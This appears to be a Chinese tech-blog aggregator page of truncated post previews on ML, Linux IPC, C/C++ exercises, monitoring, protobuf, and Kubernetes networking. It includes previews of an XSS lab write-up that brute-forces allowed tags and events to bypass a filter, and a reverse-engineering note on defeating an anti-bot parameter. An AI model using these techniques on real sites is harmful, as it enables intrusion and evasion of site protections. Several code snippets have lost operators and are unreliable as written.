前言 本来有个500块钱的单子,用机器学习做一个不知道什么鸟的识别,正好有数据集,跑个小项目,过一下机器学习图像识别的流程,用很短的时间记录下来..... 一、数据预处理 将数据集分为训练集和测试集,直接…...

【在Linux世界中追寻伟大的One Piece】进程间通信
目录 1 -> 进程间通信介绍 1.1 -> 进程间通信目的 1.2 -> 进程间通信发展 1.3 -> 进程间通信分类 1.3.1 -> 管道 1.3.2 -> System V IPC 1.3.3 -> POSIX IPC 2 -> 管道 2.1 -> 什么是管道 2.2 -> 匿名管道 2.3 -> 实例代码 2.4 -…...

多路复用IO
一。进程处理多路IO请求 在没有多路复用IO之前,对于多路IO请求,一般只有阻塞与非阻塞IO两种方式 1.1 阻塞IO 需要结合多进程/多线程,每个进程/线程处理一路IO 缺点:客户端越多,需要创建的进程/线程越多,…...
C++ prime plus-7-編程練習
1, #include <iostream>// 函数声明 double harmonicMean(double x, double y);int main() {double x, y, result;while (true) {std::cout << "请输入两个数(其中一个为0时结束): ";std::cin >> x >> y;…...

计算1 / 1 - 1 / 2 + 1 / 3 - 1 / 4 + 1 / 5 …… + 1 / 99 - 1 / 100 的值,打印出结果
我们写这道题的时候需要俩变量接受,一个总数一个分母,我们发现分母变化是有规律的从1~100循环。 #include<stdio.h> int main() {int i 0;int tag 1;double sum 0.0;for (i 1; i < 101; i){if (i % 2 0){sum sum - 1.0 / i;}else{sum s…...

Linux本地服务器搭建开源监控服务Uptime Kuma与远程监控实战教程
文章目录 前言**主要功能**一、前期准备本教程环境为:Centos7,可以跑Docker的系统都可以使用本教程安装。本教程使用Docker部署服务,如何安装Docker详见: 二、Docker部署Uptime Kuma三、实现公网查看网站监控四、使用固定公网地址…...

JS 历史简介
目录 1. JS 历史简介 2. JS 技术特征 1. JS 历史简介 举例:在提交用户的注册信息的时候,为避免注册出现错误后重新填写信息,可以在写完一栏信息后进行校验,并提示是否出现错误,这样会大大提高用户提交的成功率&…...

爬虫逆向学习(七):补环境动态生成某数四代后缀MmEwMD
声明:本篇文章内容是整理并分享在学习网上各位大佬的优秀知识后的实战与踩坑记录 前言 这篇文章主要是研究如何动态生成后缀参数MmEwMD的,它是在文章爬虫逆向学习(六):补环境过某数四代的基础上进行研究的,代码也是在它基础上增…...
光伏电站并网验收需要注意什么细节
一、设备质量及安装验收 光伏组件:检查光伏组件的外观是否完好无损,无明显的缺陷和破损,表面是否清洁无污染。同时,需要验证光伏组件的型号、参数是否与设备台账资料一致。 逆变器:确认逆变器具备防雷、防尘、防潮等…...
页面禁用鼠标右键属于反爬虫措施吗 ?
是的,禁用鼠标右键通常被视为一种反爬虫(anti-scraping)措施。网站开发者常常采用这种技术来防止用户通过右键菜单复制文本、图像或其他内容,特别是在内容保护和数据安全方面。以下是禁用鼠标右键的一些背景和目的: 1…...

视频理解大模型最新进展
文章目录 Video-LLaMAVision-Language BranchAudio-Language Branch Video-ChatGPTMiniGPT4-videoCogVLM2-Video(1)Pre-training(2)Post-training Qwen2-VLMA-LMMChat-UniVi大模型对比 Video-LLaMA 2023:阿里达摩院的…...
cocos creator 使用 protobuf 的步骤与注意事项
移除可能曾安装过的protobuf // 移除全局 npm remove -g protobufjs npm remove -g protobufjs-cli npm remove -g pbjs // 移除项目中的 npm remove --save protobufjs npm remove --save protobufjs-cli npm remove --save pbjs全局安装 npm i -g protobufjs //或者 cnpm …...
mac访达查找文件目录
mac访达查找文件目录 在Mac上使用访达(Finder)查找文件或目录的方法如下: 打开访达。 在访达窗口的侧边栏中,选择“ Go to Folder”(转到文件夹)选项,或者使用快捷键ShiftCommandG打开一个对…...
【数据结构】点分治 点分树
求树上长度小于等于k的路径 #include <iostream> #include <cstring> #include <algorithm>using namespace std;const int N 10010, M N * 2;int n, m; int h[N], e[M], w[M], ne[M], idx; //邻接表 bool st[N]; //记录每个点是否被删掉 int p[N]; //存储…...

K8s Calico替换为Cilium,以及安装Cilium过程(鲁莽版)
迁移CNI插件的3种办法: 1、创建一个新的集群,通过Gitops的方式迁移负载,然而,这可能涉及大量的准备工作和潜在的中断。 2、另一种方法是重新配置/etc/cni/net.d/指向Cilium。但是,现有的pod仍将由旧的…...

背景图鼠标放上去切换图片过渡效果
文章目录 css鼠标放上去之前效果鼠标放上去时效果 css <li class"message"></li>.message {width: 22px;height: 22px;background-image: url(/assets/message-01.png);background-size: cover;background-position: center;transition: background-ima…...

【Linux】当前进展
驱动层日志添加了下文件目录,函数,代码行的打印(这里要小心,驱动目录源代码打印日志里边添进程号可能有问题,因为在驱动初始化的时候,内核还没有创建进程,不过猜测可以先不打印进程相关信息&…...

阿里云云效多个ssh密钥对配置
实现功能 windows本地多个ssh密钥对,分别对应不同的阿里云账号的云效 实现办法 1.生成ssh密钥对 ssh-keygen -t rsa -f C:\xxx\id_rsa_customname(我这里C:\Users\admin\.ssh\id_rsa_customname) 2.配置.ssh目录的config文件 # ruiyi Host customnameHostName codeup.al…...
ES6从入门到精通:前言
ES6简介 ES6(ECMAScript 2015)是JavaScript语言的重大更新,引入了许多新特性,包括语法糖、新数据类型、模块化支持等,显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

el-switch文字内置
el-switch文字内置 效果 vue <div style"color:#ffffff;font-size:14px;float:left;margin-bottom:5px;margin-right:5px;">自动加载</div> <el-switch v-model"value" active-color"#3E99FB" inactive-color"#DCDFE6"…...

学校时钟系统,标准考场时钟系统,AI亮相2025高考,赛思时钟系统为教育公平筑起“精准防线”
2025年#高考 将在近日拉开帷幕,#AI 监考一度冲上热搜。当AI深度融入高考,#时间同步 不再是辅助功能,而是决定AI监考系统成败的“生命线”。 AI亮相2025高考,40种异常行为0.5秒精准识别 2025年高考即将拉开帷幕,江西、…...

Springboot社区养老保险系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,社区养老保险系统小程序被用户普遍使用,为方…...

USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
pycharm 设置环境出错
pycharm 设置环境出错 pycharm 新建项目,设置虚拟环境,出错 pycharm 出错 Cannot open Local Failed to start [powershell.exe, -NoExit, -ExecutionPolicy, Bypass, -File, C:\Program Files\JetBrains\PyCharm 2024.1.3\plugins\terminal\shell-int…...
SpringAI实战:ChatModel智能对话全解
一、引言:Spring AI 与 Chat Model 的核心价值 🚀 在 Java 生态中集成大模型能力,Spring AI 提供了高效的解决方案 🤖。其中 Chat Model 作为核心交互组件,通过标准化接口简化了与大语言模型(LLM࿰…...

Matlab实现任意伪彩色图像可视化显示
Matlab实现任意伪彩色图像可视化显示 1、灰度原始图像2、RGB彩色原始图像 在科研研究中,如何展示好看的实验结果图像非常重要!!! 1、灰度原始图像 灰度图像每个像素点只有一个数值,代表该点的亮度(或…...